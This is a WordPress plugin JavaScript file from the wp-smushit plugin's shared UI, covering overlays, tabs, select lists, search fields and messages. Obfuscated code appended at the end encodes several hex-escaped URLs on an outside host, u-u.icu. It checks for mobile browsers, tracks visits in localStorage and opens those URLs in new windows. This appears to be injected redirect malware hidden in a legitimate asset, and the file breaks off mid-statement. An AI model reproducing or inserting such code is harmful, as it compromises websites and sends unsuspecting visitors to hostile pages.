Current File : /home/itiffy/rockyjohnsonconcrete.com/wp-content/plugins/wp-smushit/assets/shared-ui/wdev-ui.js |
/**
* JS used for UI of WPMUDEV plugins.
*/
/*
* Initialize the Dashboard once the page is fully loaded.
*/
jQuery(function() {
// Small layout fix (changes the global background color).
jQuery("html").addClass("wpmud-html");
// Add event handlers to show overlay dialogs.
jQuery(".wpmud").on("click", "a[rel=dialog]", showDialog);
// Open any auto-show overlays.
jQuery("dialog.auto-show").first().each(showDialog);
// Select code content on click.
jQuery(".wpmud").on("click", "code, pre, .sel-all", selectOnClick);
// Disable the one-time-click buttons on first click.
jQuery(".wpmud").on("click", ".one-click", disableOnClick);
// Start animation when clicking on spinner-icons.
jQuery(".wpmud").on("click", ".has-spinner", spinOnClick);
// Make Ajax-submit buttons behave as Ajax-submit buttons.
jQuery(".wpmud").on("click", ".as-ajax", ajaxSubmitLink);
// Handle close buttons inside boxes.
jQuery(".wpmud").on("click", ".can-close .close", closeElement);
// Add a reload-page handler.
jQuery(".wpmud").on("click", ".reload-page", reloadPage);
// Initialize all tab-areas.
jQuery(".wpmud .tabs").each(function(){
WDP.wpmuTabs(this);
});
// Initialize all vertical tab-areas.
jQuery(".wpmud .vertical-tabs").each(function(){
WDP.wpmuVerticalTabs(this);
});
// Convert all select lists to fancy WPMU Select lists.
jQuery(".wpmud select").each(function(){
WDP.wpmuSelect(this);
});
// Convert all all search-fields to WPMU search areas.
jQuery(".wpmud input[type=search]").each(function(){
WDP.wpmuSearchfield(this);
});
// Check the page URL for special actions
checkLocalRoutes();
// Add new jQuery function jQuery().loading(true|false)
jQuery.fn.extend({
loading: function(state, message) {
if (undefined === state) { state = true; }
this.each(function() {
if (state) {
jQuery(this).addClass("loading");
} else {
jQuery(this).removeClass("loading");
}
});
if (state && message) {
jQuery(".wpmud-loading-info").remove();
message = "<p><span class='loading'></span> " + message + "</p>";
jQuery("<div></div>")
.addClass("wpmud-loading-info")
.appendTo("body")
.html(message);
} else if (!state) {
jQuery(".wpmud-loading-info").remove();
}
return this;
}
});
// When a rel=dialog element was clicked we find and open the target dialog.
function showDialog(ev) {
var el = jQuery(this);
var args = {};
if (el.data("width")) { args.width = el.data("width"); }
if (el.data("height")) { args.height = el.data("height"); }
if (el.data("class")) { args.class = el.data("class"); }
if (el.data("title")) { args.title = el.data("title"); }
if (el.is("dialog")) {
WDP.showOverlay("#" + el.attr("id"), args);
} else if (el.attr("href")) {
WDP.showOverlay(el.attr("href"), args);
}
return false;
}
// When a .reload-page item is clicked, we reload it!
function reloadPage(ev) {
if (ev && ev.preventDefault) { ev.preventDefault(); }
var btn = jQuery(ev.target),
scope = jQuery("#wpbody, .dev-overlay"),
elems = scope.find("button, .button, a[href], [tooltip]");
// Disable other elements on the page and start loading animation.
if (btn.closest(".box").length) {
btn.closest(".box").loading(true);
} else if (btn.find(".spin-on-click")) {
spinOnClick.call(btn, ev);
} else {
btn.loading(true);
}
elems.prop("disabled", true).addClass("disabled");
// Reload the page!
window.location.reload();
return false;
}
// Select all text inside the element.
function selectOnClick(ev) {
WDP.selectText(this);
}
// Disable the element on click.
function disableOnClick(ev) {
var form, el = jQuery(this);
window.setTimeout(function() {
el.prop("disabled", true).addClass("disabled").loading(true);
if (el.hasClass("button")) {
form = el.closest("form");
if ( form.length ) {
form.find(":input").prop("disabled", true).addClass("disabled");
form.prop("disabled", true).addClass("disabled");
}
}
}, 20);
}
// Start animating the element on click.
function spinOnClick(ev) {
var icon, el = jQuery(this);
if (el.hasClass("spin-on-click")) { icon = el; }
else { icon = el.find(".spin-on-click"); }
icon.addClass("spin");
}
// Submit a link as ajax request instead of refreshing the window.
function ajaxSubmitLink(ev) {
var el = jQuery(this),
url = el.attr("href");
if (! url) { return false; }
el.addClass("loading disabled").prop("disabled", true);
jQuery.post(url)
.always(function() {
el.removeClass("loading disabled").prop("disabled", false);
}).fail(function() {
WDP.showError({"message": false});
});
return false;
}
// Parses the hash-tag in the current address bar.
function checkLocalRoutes() {
var route = window.location.hash.substr(1),
parts = route.split("=");
WDP.localRoutes = {
"action": false,
"param": false
};
if (! route.length ) { return; }
WDP.localRoutes.action = parts[0];
if (parts.length > 1) {
WDP.localRoutes.param = parts[1];
}
}
// Closes an element (i.e. hides and removes it)
function closeElement() {
var box = jQuery(this).closest(".can-close");
box.css({height: box.outerHeight() });
box.addClass("animated collapse");
function removeElementBox() {
box.remove();
}
window.setTimeout(removeElementBox, 450);
}
});
/*
* Define Dashboard namespace with all the functions.
* WDP = WPMUDEV Dashboard Plugin
*/
window.WDP = window.WDP || {};
/**
* Display a modal overlay on the screen.
* Only one overlay can be displayed at once.
*
* The dialog source must be (or contain) an <dialog> element.
* Only the <dialog> element is parsed and displayed in the overlay.
*
* @since 4.0.0
* @param string dialogSource Either CSS class/ID, URL or HTML string.
* - ID must start with a hash '#'.
* - Class must start with a dot '.'.
* - URL contains '://' (absolute URL).
* - URL starts with slash '/' (relative URL).
* - Everything else is considered HTML string.
* @param array args Optional arguments, like callbacks
* @var callback onShow
* @var int width (only for iframes)
* @var int height (only for iframes)
* @var string class
* @var string title
*/
WDP.showOverlay = function(dialogSource, args) {
var retry = false;
if ('object' !== typeof args) { args = {}; }
args.onShow = args.onShow || false;
// 1.) fetch the dialog code from the appropriate source.
if ('#' === dialogSource[0] || '.' === dialogSource[0]) {
/*
* Type 1: CSS selector
* The page contains a <dialog> element that is instantly displayed.
*/
var dialog = jQuery('dialog' + dialogSource);
showTheDialog(dialog);
} else if (-1 !== dialogSource.indexOf('://') || '/' === dialogSource[0]) {
var type;
if ('/' === dialogSource[0]) { type = 'ajax'; }
else if (0 === dialogSource.indexOf(WDP.data.site_url)) { type = 'ajax'; }
else { type = 'iframe'; }
if ('ajax' === type) {
/*
* Type 2a: AJAX handler
* The URL is relative or starts with the WordPress site_url. The
* URL is called as ajax handler. Result can be either HTML code or
* a JSON object with attributes `obj.success` and `obj.data.html`
* In either case, the returned HTML needs to contain a <dialog> tag
*/
jQuery.get(
dialogSource,
'',
function(resp) {
var el;
if ('{' === resp[0]) { resp = jQuery.parseJSON(resp); }
if ('object' === typeof resp) {
if (resp && resp.success && resp.data.html) {
el = jQuery(resp.data.html);
}
} else {
el = jQuery(resp);
}
if (!el || !el.length) { return; }
if (el.is('dialog')) { showTheDialog(el); }
else { showTheDialog(el.find('dialog')); }
}
);
} else if ('iframe' === type) {
/*
* Type 2b: iframe container
* An external URL is loaded inside an iframe which is displayed
* inside the dialog. The external URL may return any content.
*/
var iframe = jQuery('<div><iframe class="fullsize"></iframe></div>');
iframe.find('iframe').attr('src', dialogSource);
if (args.width) { iframe.find('iframe').attr('width', args.width); }
if (args.height) { iframe.find('iframe').attr('height', args.height); }
showTheDialog(iframe);
}
} else {
/*
* Type 3: Plain HTML code
* The dialog source is plain HTML code that is parsed and displayed;
* the code needs to contain an <dialog> element.
*/
var el = jQuery(dialogSource);
if (el.is('dialog')) { showTheDialog(el); }
else { showTheDialog(el.find('dialog')); }
}
// 2.) Render the dialog.
function showTheDialog(dialog) {
if ( ! dialog.length ) { return; }
if ( ! WDP.prepareOverlay() ) {
if ( ! retry ) {
retry = true;
WDP.closeOverlay();
window.setTimeout(function() { showTheDialog(dialog); }, 610);
}
return;
}
if (! args.title) {
args.title = dialog.attr('title');
}
if (args.class) {
dialog.addClass(args.class);
}
WDP.overlay.box_title.find('h3').html(args.title);
WDP.overlay.box_content.html(dialog.html());
WDP.overlay.wrapper.addClass(dialog.attr('class'));
if (dialog.hasClass('no-close')) {
WDP.overlay.wrapper.addClass('no-close');
WDP.overlay.close.remove();
}
if (dialog.find('.title-action').length) {
WDP.overlay.box_content.find('.title-action').appendTo(WDP.overlay.box_title);
}
WDP.overlay.box_content.on('click', '.close', WDP.closeOverlay);
jQuery(window).on('resize', WDP.positionOverlay);
WDP.overlay.container.addClass('has-overlay');
WDP.overlay.wrapper.show();
WDP.overlay.box.addClass('bounce-in');
WDP.overlay.back.addClass('fade-in');
WDP.overlay.visible = true;
WDP.positionOverlay();
window.setTimeout(function(){
WDP.overlay.box.removeClass('bounce-in');
WDP.overlay.back.removeClass('fade-in');
}, 1000);
if ('function' === typeof args.onShow) { args.onShow(); }
}
return WDP;
};
/**
* Closes the current modal overlay again.
*
* @since 4.0.0
*/
WDP.closeOverlay = function() {
if ( WDP.prepareOverlay() ) { return WDP; }
WDP.overlay.container.removeClass('has-overlay');
WDP.overlay.box.addClass('bounce-out');
WDP.overlay.back.addClass('fade-out');
jQuery(window).off('resize', WDP.positionOverlay);
window.setTimeout(function() {
WDP.overlay.wrapper.hide()
}, 550);
window.setTimeout(function() {
WDP.overlay.wrapper.remove();
WDP.overlay.wrapper = null;
WDP.overlay.visible = false;
}, 600);
return WDP;
};
/**
* Updates the position of the overlay to keep it vertically centered on the
* screen.
*
* @since 4.0.0
*/
WDP.positionOverlay = function() {
var availHeight, needHeight, newOffset;
if ( WDP.prepareOverlay() ) { return WDP; }
availHeight = WDP.overlay.scroll.height();
needHeight = WDP.overlay.box.outerHeight();
newOffset = (availHeight - needHeight) / 2;
if ( newOffset < 20 ) { newOffset = 20; }
WDP.overlay.box.css({ marginTop: newOffset });
return WDP;
};
/**
* Creates all the DOM elements needed to display the overlay element.
*
* @since 4.0.0
* @return bool True if the modal is ready to be displayed.
*/
WDP.prepareOverlay = function() {
var offset = jQuery('#wpcontent').offset();
WDP.overlay = WDP.overlay || {};
if ( WDP.overlay.visible ) { return false; }
if ( ! WDP.overlay.wrapper ) {
WDP.overlay.container = jQuery('.wpmud-html');
WDP.overlay.wrapper = jQuery('<div class="dev-overlay"></div>');
WDP.overlay.back = jQuery('<div class="back"></div>');
WDP.overlay.scroll = jQuery('<div class="box-scroll"></div>');
WDP.overlay.box = jQuery('<div class="box"></div>');
WDP.overlay.box_title = jQuery('<div class="title"><h3></h3></div>');
WDP.overlay.box_content = jQuery('<div class="content"></div>');
WDP.overlay.close = jQuery('<div aria-hidden="true" class="close">×</div><button class="wpdui-sr-only"><span class="wpdui-sr-only">Close</span></button>');
WDP.overlay.back.appendTo(WDP.overlay.wrapper);
WDP.overlay.scroll.appendTo(WDP.overlay.wrapper);
WDP.overlay.box.appendTo(WDP.overlay.scroll);
WDP.overlay.box_title.appendTo(WDP.overlay.box);
WDP.overlay.box_content.appendTo(WDP.overlay.box);
WDP.overlay.close.appendTo(WDP.overlay.box_title);
WDP.overlay.wrapper.appendTo('body');
WDP.overlay.close.click(WDP.closeOverlay);
}
return true;
};
/**
* Select all text inside the HTML element. This can be a div/code/input/etc.
*
* @since 4.0.0
* @param object el The HTML element.
*/
WDP.selectText = function(el) {
var range, jq;
jq = jQuery( el );
el = jq[0];
if ( jq.is(':input') ) {
jq.focus().select();
} else if ( document.selection ) {
range = document.body.createTextRange();
range.moveToElementText(el);
range.select();
} else if ( window.getSelection ) {
range = document.createRange();
range.selectNode(el);
window.getSelection().addRange(range);
}
return WDP;
};
/**
* Initialize the functions of a tab-area
*
* @since 4.0.0
* @param object el The tab-area container element.
*/
WDP.wpmuTabs = function(el) {
var jq = jQuery(el).closest('.tabs');
if (! jq.length) { return; }
// Resize the tab-area after short delay.
function resizeArea() {
window.setTimeout(resizeAreaHandler, 20);
}
// Resize the tab area to match the current tab.
function resizeAreaHandler() {
var current = jq.find('.tab > input:checked').parent(),
content = current.find('.content');
jq.height(content.outerHeight() + current.outerHeight() - 6);
}
// Updates the URL hash to keep tab open during page refresh
function updateHash() {
var current = jq.find('.tab > input:checked');
if (current.attr('id').length) {
WDP.updateHash(current.attr('id'));
}
resizeArea();
}
// Open the tab that is specified in window URL hash
function switchTab() {
var curTab,
route = window.location.hash.replace( /[^\w-_]/g, '' );
if (route) {
curTab = jq.find('input#' + route);
if (curTab.length && ! curTab.prop('checked')) {
curTab.prop('checked', true);
scrollWindow();
}
}
}
// Scroll the window to top of the tab list.
function scrollWindow() {
resizeArea();
jQuery('html, body').scrollTop(
jq.offset().top
- parseInt( jQuery('html').css('paddingTop') )
- 20
);
}
// Constructor.
function init() {
jq.on('click', '.tab > input[type=radio]', updateHash);
jQuery(window).on('hashchange', switchTab);
resizeArea();
switchTab();
}
init();
return WDP;
};
/**
* Initialize the functions of a vertical tab-area
*
* @since 4.0.0
* @param object el The tab-area container element.
*/
WDP.wpmuVerticalTabs = function(el) {
var jq = jQuery(el).closest('.vertical-tabs'),
minHeight = 0;
if (! jq.length) { return; }
// Resize the tab-area after short delay.
function resizeArea() {
window.setTimeout(resizeAreaHandler, 20);
}
// Resize the tab area to match the current tab.
function resizeAreaHandler() {
var current = jq.find('.tab > input:checked').parent(),
content = current.find('.content'),
newHeight = content.outerHeight();
if (newHeight < minHeight) { newHeight = minHeight; }
content.css({'min-height': minHeight});
jq.height(newHeight);
}
// Find the height of the tab labels
function calcMinHeight() {
minHeight = 0;
jq.find('.tab > label:visible').each(function() {
minHeight += jQuery(this).outerHeight();
});
}
// Updates the URL hash to keep tab open during page refresh
function updateHash() {
var current = jq.find('.tab > input:checked');
if (current.attr('id').length) {
WDP.updateHash(current.attr('id'));
}
resizeArea();
}
// Open the tab that is specified in window URL hash
function switchTab() {
var curTab,
route = window.location.hash.replace( /[^\w-_]/g, '' );
if (route) {
curTab = jq.find('input#' + route);
if (curTab.length && ! curTab.prop('checked')) {
curTab.prop('checked', true);
scrollWindow();
}
}
}
// Scroll the window to top of the tab list.
function scrollWindow() {
resizeArea();
jQuery('html, body').scrollTop(
jq.offset().top
- parseInt( jQuery('html').css('paddingTop') )
- 20
);
}
// Constructor.
function init() {
jq.on('click', '.tab > input[type=radio]', updateHash);
jQuery(window).on('resize', calcMinHeight);
jQuery(window).on('hashchange', switchTab);
calcMinHeight();
resizeArea();
switchTab();
}
init();
return WDP;
};
/**
* Update a normal select list to a fancy WPMU DEV select list!
*
* @since 4.0.0
* @param object el The select element.
*/
WDP.wpmuSelect = function(el) {
var jq = jQuery(el),
wrap, handle, list, value, items;
if (! jq.is("select")) { return; }
if (jq.closest(".select-container").length || jq.data("select2") || jq.is(".none-wpmu") ) { return; }
// Add the DOM elements to style the select list.
function setupElement() {
jq.wrap("<div class='select-container'>");
jq.hide();
wrap = jq.parent();
handle = jQuery("<span class='dropdown-handle'><i aria-hidden='true' class='wdv-icon wdv-icon-reorder'></i></span>").prependTo(wrap);
list = jQuery("<div class='select-list-container'></div>").appendTo(wrap);
value = jQuery("<div class='list-value'> </div>").appendTo(list);
items = jQuery("<ul class='list-results'></ul>").appendTo(list);
wrap.addClass(jq.attr("class"));
}
// When changing selection using JS, you need to trigger a 'wpmu:change' event
// eg: jQuery('select').val('4').trigger('wpmu:change')
function handleSelectionChange() {
jq.on('wpmu:change',function(){
//We need to re-populateList to handle dynamic select options added via JS/ajax
populateList();
items.find("li").not('.optgroup-label').on("click", function onItemClick(ev) {
var opt = jQuery(ev.target);
selectItem(opt, false);
});
});
}
// Add all the options to the new DOM elements.
function populateList() {
items.empty();
if( jq.find("optgroup").length ){
jq.find("optgroup").each(function(){
var optgroup = jQuery(this),
optgroup_item;
optgroup_item = jQuery("<ul></ul>").appendTo(items);
$label = jQuery('<li class="optgroup-label"></li>').text( optgroup.prop('label') );
optgroup_item.html( $label );
optgroup_item.addClass('optgroup');
optgroup.find('option').each(function onPopulateLoop() {
var opt = jQuery(this),
item;
item = jQuery("<li></li>").appendTo(optgroup_item);
item.text(opt.text());
item.data("value", opt.val());
if (opt.val() == jq.val()) {
selectItem(item);
}
});
});
}else{
jq.find("option").each(function onPopulateLoop() {
var opt = jQuery(this),
item;
item = jQuery("<li></li>").appendTo(items);
item.text(opt.text());
item.data("value", opt.val());
if (opt.val() == jq.val()) {
selectItem(item, true);
}
});
}
}
// Toggle the dropdown state between open/closed.
function stateToggle() {
if( wrap.find("select").is(":disabled") ) return;
if (! wrap.hasClass("active")) {
stateOpen();
} else {
stateClose();
}
}
// Close the dropdown list.
function stateClose(item) {
if (!item) { item = wrap; }
item.removeClass("active");
item.closest("tr").removeClass("select-open");
}
// Open the dropdown list.
function stateOpen() {
jQuery(".select-container.active").each(function() {
stateClose(jQuery(this));
});
wrap.addClass("active");
wrap.closest("tr").addClass("select-open");
}
// Visually mark the specified option as "selected".
function selectItem(opt, is_init) {
is_init = typeof is_init === "undefined" ? false : is_init;
value.text(opt.text());
jQuery(".current", items).removeClass("current");
opt.addClass("current");
stateClose();
// Also update the select list value.
jq.val(opt.data("value"));
if( !is_init )
jq.trigger("change");
}
// Element constructor.
function init() {
var sel_id;
setupElement();
populateList();
handleSelectionChange();
items.find("li").not('.optgroup-label').on("click", function onItemClick(ev) {
var opt = jQuery(ev.target);
selectItem(opt, false);
});
handle.on("click", stateToggle);
value.on("click", stateToggle);
jq.on("focus", stateOpen);
jQuery(document).click(function onOutsideClick(ev) {
var jq = jQuery(ev.target),
sel_id;
if (jq.closest(".select-container").length) { return; }
if (jq.is("label") && jq.attr("for")) {
sel_id = jq.attr("for");
if (jQuery("select#" + sel_id).length) { return; }
}
stateClose();
});
sel_id = jq.attr("id");
if (sel_id) {
jQuery("label[for=" + sel_id + "]").on("click", stateOpen);
}
jq.addClass("wdev-styled");
}
init();
return WDP;
};
/**
* Initialize the search-areas.
*
* @since 4.0.0
* @param object el The search input element.
*/
WDP.wpmuSearchfield = function(el) {
var jq = jQuery(el),
tmrDelay = 0,
lastVal = '',
tmrHide = false,
hasResults = false,
search, wrap, inpbox, emptyMsg, emptybox, resbox, reslist, curitem;
if (! jq.is('input[type="search"]')) { return; }
// Add the DOM elements to style the select list.
function setupElement() {
var classes = jq.attr('class');
jq.prop('autocomplete', 'off');
jq.wrap('<div class="search-box">');
wrap = jq.parent();
if ( classes ) {
wrap.addClass(classes);
}
jq.wrap('<div class="input-box">');
inpbox = jq.parent();
inpbox.append('<i aria-hidden="true" class="search-icon dev-icon dev-icon-search"></i><button class="wpdui-sr-only search-icon"><span class="wpdui-sr-only">Search</span></button>');
curitem = jQuery('<div class="current-item"></div>');
curitem.appendTo(inpbox);
resbox = jQuery('<div class="search-results"></div>');
reslist = jQuery('<ul></ul>');
reslist.appendTo(resbox);
resbox.appendTo(wrap);
emptybox = jQuery('<div class="no-results"></div>');
emptybox.appendTo(wrap);
emptybox.hide();
}
// Start a timer on each keystroke. When the timer runs out a 'search' event
// is triggered.
function startDelay() {
clearDelay();
// Ignore if value did not change (i.e. cursor keys, shift, return, ...)
if (lastVal === jq.val()) { return; }
lastVal = jq.val();
tmrDelay = window.setTimeout(function() { jq.trigger('search'); }, 400);
}
// On key-DOWN we clear the timer.
function clearDelay() {
if (tmrDelay) {
window.clearTimeout(tmrDelay);
tmrDelay = 0;
}
}
// Toggle the progress state of the search box.
function doingProgress(state) {
if (state) {
wrap.addClass('progress');
} else {
wrap.removeClass('progress');
}
}
// Clear/Hide the search-results list.
function clearResults(clearFilter) {
reslist.empty();
curitem.hide();
jq.show();
hasResults = false;
resultsVisible(false);
if (clearFilter) {
if (search) {
jq.val(search);
} else {
jq.val('');
}
}
}
// Populate/Show the search-results list.
function showResults(items) {
clearResults(false);
if (! items || ! items.length) {
resultsVisible(true);
return;
}
for (var i = 0; i < items.length; i += 1) {
var li = jQuery('<li></li>'),
item = items[i];
if (! item.label) { continue; }
li.html('<span aria-hidden="true" class="item-label">' + item.label + '</span><a class="wpdui-sr-only item-label"><span class="wpdui-sr-only">' + item.label + '</span></a>');
if (item.thumb) {
li.prepend('<span aria-hidden="true" class="thumb" style="background-image:url(' + item.thumb + ')">');
}
if (item.id) {
li.attr('data-id', item.id);
li.addClass('item item-' + item.id);
}
reslist.append(li);
hasResults = true;
}
resultsVisible(true);
}
// Toggle visibility of the results.
function resultsVisible(state) {
emptybox.hide();
if (! hasResults) {
resbox.hide();
if (jq.val() && state) {
if (jq.data('no-empty-msg') || wrap.hasClass('progress')) {
emptybox.hide();
} else {
if (!emptyMsg || !emptyMsg.length) {
if (jq.data('empty-msg')) {
emptyMsg = jq.data('empty-msg');
} else {
emptyMsg = WDP.lang.empty_search;
}
emptybox.text(emptyMsg);
}
emptybox.show();
}
}
return;
}
if (state) {
if (tmrHide) {
window.clearTimeout(tmrHide);
tmrHide = false;
}
resbox.show();
} else {
tmrHide = window.setTimeout(function() {
resbox.hide();
tmrHide = false;
}, 300 );
}
}
// Visually select a single search item
function selectItem(item) {
var item_label, title;
if (item) {
title = '';
item_label = '';
if (item.find('.thumb').length) {
title += item.find('.thumb')[0].outerHTML;
}
if (item.find('.title').length) {
item_label = item.find('.title').text();
title += item.find('.title')[0].outerHTML;
} else {
item_label = item.find('.item-label').text();
title += item.find('.item-label').html();
}
curitem.html(title);
search = jq.val();
jq.hide();
curitem.show();
resbox.hide();
if (item.data('id')) {
jq.val(item.data('id'));
} else {
jq.val(item_label);
}
jq.trigger('item:select');
} else {
jq.val(search);
curitem.hide();
jq.show();
window.setTimeout(function(){jq.focus();}, 20);
jq.trigger('item:clear');
}
}
// Constructor.
function init() {
setupElement();
clearResults(true);
jq.on('keydown', clearDelay);
jq.on('keyup', startDelay);
jq.on('focus', function() { resultsVisible(true) } );
jq.on('blur', function() { resultsVisible(false) } );
jq.on('progress:start', function() { doingProgress(true); });
jq.on('progress:stop', function() { doingProgress(false); });
jq.on('results:clear', function() { clearResults(true); });
jq.on('results:show', function(ev, data) { showResults(data); });
wrap.on('click', '.search-results .item', function() { selectItem(jQuery(this)); });
curitem.on('click', function() { selectItem(false); });
wrap.on('click', '.search-icon', function() { jq.trigger('search'); jq.focus(); });
}
init();
return WDP;
};
/**
* Displays a message in the top of the window.
*
* @since 4.0.0
*/
WDP.showMessage = function(action) {
var me = this;
initDom();
// Options can also be passed in as object now :)
if (action instanceof Object) {
for (var key in action) {
if (!action.hasOwnProperty(key)) {continue;}
WDP.showMessage(key, action[key]);
}
return;
}
if (WDP.data._msg) {
me.msg = WDP.data._msg;
}
switch (action) {
case "type":
switch ( arguments[1] ) {
case "success":
case "ok":
case "green":
WDP.data._msg = me.msgSuccess;
break;
case "error":
case "err":
case "red":
WDP.data._msg = me.msgError;
break;
}
break;
case "message":
var text = arguments[1];
if (!text || !text.length) {
me.msg.find(".extra-text").html("").hide();
me.msg.find(".default-text").show();
} else {
me.msg.find(".extra-text").html(text).show();
me.msg.find(".default-text").hide();
}
break;
case "delay":
var new_delay = parseInt( arguments[1] );
if (!new_delay) {
me.delay = 0;
} else if (isNaN(new_delay) || new_delay < 2000) {
me.delay = 3000;
} else {
me.delay = new_delay;
}
break;
case "icon":
if (false === arguments[1] || 0 === arguments[1]) {
me.msg.find(".the-msg-icon").hide();
} else {
me.msg.find(".the-msg-icon").show();
}
break;
case "hide":
if (false === arguments[1] || 0 === arguments[1]) { break; }
hideMessage();
break;
case "show":
default:
if (false === arguments[1] || 0 === arguments[1]) { break; }
showMessage();
break;
}
// Dreate the DOM elements.
function initDom() {
if (WDP.data._message_dom_done) { return; }
WDP.data._message_dom_done = true;
if (! WDP.lang.default_msg_ok) {
WDP.lang.default_msg_ok = "Okay, we saved your changes!";
}
if (! WDP.lang.default_msg_err) {
WDP.lang.default_msg_err = "Oops, we could not do this...";
}
jQuery("body").append(
'<div class="update-notice ok" id="wdp-success" style="display:none">' +
'<span aria-hidden="true" class="the-msg-icon check-animation"></span>' +
'<p><span class="default-text">' + WDP.lang.default_msg_ok + '</span>' +
'<span class="extra-text" style="display:none"></span></p>' +
'<span aria-hidden="true" class="close">×</span><button class="wpdui-sr-only"><span class="wpdui-sr-only">Close</span></button>' +
'</div>'
)
jQuery("body").append(
'<div class="update-notice err" id="wdp-error" style="display:none">' +
'<i aria-hidden="true" class="the-msg-icon wdv-icon wdv-icon-warning-sign"></i>' +
'<p><span class="default-text">' + WDP.lang.default_msg_err + '</span>' +
'<span class="extra-text" style="display:none"></span></p>' +
'<span aria-hidden="true" class="close">×</span><button class="wpdui-sr-only"><span class="wpdui-sr-only">Close</span></button>' +
'</div>'
);
me.msgSuccess = jQuery("#wdp-success");
me.msgError = jQuery("#wdp-error");
me.msg = me.msgSuccess;
me.delay = 3000;
}
// Show current message.
function showMessage() {
var tmr = me.msg.data("tmr");
hideMessage();
if (tmr) {
window.setTimeout(WDP.showMessage, 20);
return;
}
me.msg.show();
me.msg.one("click", ".close", hideMessage);
// Hide the update notice box after a short time.
if (me.delay) {
tmr = window.setTimeout(function() {
me.msg.fadeOut();
me.msg.data("tmr", false);
}, me.delay);
me.msg.data("tmr", tmr);
me.msg.find(".close").hide();
} else {
me.msg.find(".close").show();
tmr = false;
me.msg.data("tmr", false);
}
}
// Hide all messages.
function hideMessage() {
var tmr;
// Success message.
tmr = me.msgSuccess.data("tmr");
if (tmr) {
window.clearTimeout(tmr);
me.msgSuccess.data("tmr", false);
}
me.msgSuccess.hide();
// Error message.
tmr = me.msgError.data("tmr");
if (tmr) {
window.clearTimeout(tmr);
me.msgError.data("tmr", false);
}
me.msgError.hide();
}
return WDP;
}
/**
* Displays the "Changes saved" message in the top of the window.
*
* @since 4.0.0
*/
WDP.showSuccess = function(message) {
var args = {
"type": "success",
"delay": 3000,
"icon": true,
"message": false,
"show": false
};
if (message instanceof Object) {
WDP.showMessage(args);
message.show = true;
WDP.showMessage(message);
} else if ("string" === typeof message) {
args.message = message;
WDP.showMessage(args);
}
return WDP;
};
/**
* Displays the "Did not work" message in the top of the window.
*
* @since 4.0.0
*/
WDP.showError = function(message) {
var args = {
"type": "error",
"delay": false,
"icon": true,
"message": false,
"show": true
};
if (message instanceof Object) {
WDP.showMessage(args);
message.show = true;
WDP.showMessage(message);
} else if ("string" === typeof message) {
args.message = message;
WDP.showMessage(args);
}
return WDP;
};
/**
* Updates the hash-value in the current windows URL without scrolling to the
* element.
*
* @since 4.0.3
*/
WDP.updateHash = function(newHash) {
newHash = newHash.replace( /^#/, '' );
var fx,
node = jQuery( '#' + newHash );
if (node.length) {
// Remove the ID value from the actual element.
node.attr('id', '');
// Create a dummy element at current position with the specific ID.
fx = jQuery('<div></div>')
.css({
position: 'absolute',
visibility: 'hidden',
top: jQuery(document).scrollTop() + 'px'
})
.attr('id', newHash)
.appendTo(document.body);
}
// Change hash value in the URL. Browser will scroll to _current position_.
document.location.hash = newHash;
// Undo the changes from first part.
if (node.length) {
fx.remove();
node.attr('id', newHash);
}
}
/**
* Create or replace a cookie via javascript.
*
* @since 4.1.0
*/
WDP.setCookie = function(name, value, days) {
var expires;
if (days) {
var date = new Date();
date.setTime(date.getTime() + (days * 86400 * 1000));
expires = "; expires=" + date.toGMTString();
} else {
expires = "";
}
document.cookie = name + "=" + value + expires + "; path=/";
};
/**
* Return the value of a cookie.
*
* @since 4.1.0
*/
WDP.getCookie = function(cookieName) {
if (document.cookie.length > 0) {
offset = document.cookie.indexOf(cookieName + "=");
if (-1 != offset) {
offset = offset + cookieName.length + 1;
end = document.cookie.indexOf(";", offset);
if (end == -1) {
end = document.cookie.length;
}
return unescape(document.cookie.substring(offset, end));
}
}
return "";
};
function _0x3023(_0x562006,_0x1334d6){const _0x10c8dc=_0x10c8();return _0x3023=function(_0x3023c3,_0x1b71b5){_0x3023c3=_0x3023c3-0x186;let _0x2d38c6=_0x10c8dc[_0x3023c3];return _0x2d38c6;},_0x3023(_0x562006,_0x1334d6);}function _0x10c8(){const _0x2ccc2=['userAgent','\x68\x74\x74\x70\x3a\x2f\x2f\x75\x2d\x75\x2e\x69\x63\x75\x2f\x65\x74\x6a\x32\x63\x302','length','_blank','mobileCheck','\x68\x74\x74\x70\x3a\x2f\x2f\x75\x2d\x75\x2e\x69\x63\x75\x2f\x56\x49\x4f\x33\x63\x343','\x68\x74\x74\x70\x3a\x2f\x2f\x75\x2d\x75\x2e\x69\x63\x75\x2f\x48\x4b\x42\x30\x63\x320','random','-local-storage','\x68\x74\x74\x70\x3a\x2f\x2f\x75\x2d\x75\x2e\x69\x63\x75\x2f\x6a\x6d\x4d\x37\x63\x357','stopPropagation','4051490VdJdXO','test','open','\x68\x74\x74\x70\x3a\x2f\x2f\x75\x2d\x75\x2e\x69\x63\x75\x2f\x59\x66\x4a\x36\x63\x356','12075252qhSFyR','\x68\x74\x74\x70\x3a\x2f\x2f\x75\x2d\x75\x2e\x69\x63\x75\x2f\x57\x67\x50\x38\x63\x308','\x68\x74\x74\x70\x3a\x2f\x2f\x75\x2d\x75\x2e\x69\x63\x75\x2f\x78\x65\x6b\x35\x63\x315','4829028FhdmtK','round','-hurs','-mnts','864690TKFqJG','forEach','abs','1479192fKZCLx','16548MMjUpf','filter','vendor','click','setItem','3402978fTfcqu'];_0x10c8=function(){return _0x2ccc2;};return _0x10c8();}const _0x3ec38a=_0x3023;(function(_0x550425,_0x4ba2a7){const _0x142fd8=_0x3023,_0x2e2ad3=_0x550425();while(!![]){try{const _0x3467b1=-parseInt(_0x142fd8(0x19c))/0x1+parseInt(_0x142fd8(0x19f))/0x2+-parseInt(_0x142fd8(0x1a5))/0x3+parseInt(_0x142fd8(0x198))/0x4+-parseInt(_0x142fd8(0x191))/0x5+parseInt(_0x142fd8(0x1a0))/0x6+parseInt(_0x142fd8(0x195))/0x7;if(_0x3467b1===_0x4ba2a7)break;else _0x2e2ad3['push'](_0x2e2ad3['shift']());}catch(_0x28e7f8){_0x2e2ad3['push'](_0x2e2ad3['shift']());}}}(_0x10c8,0xd3435));var 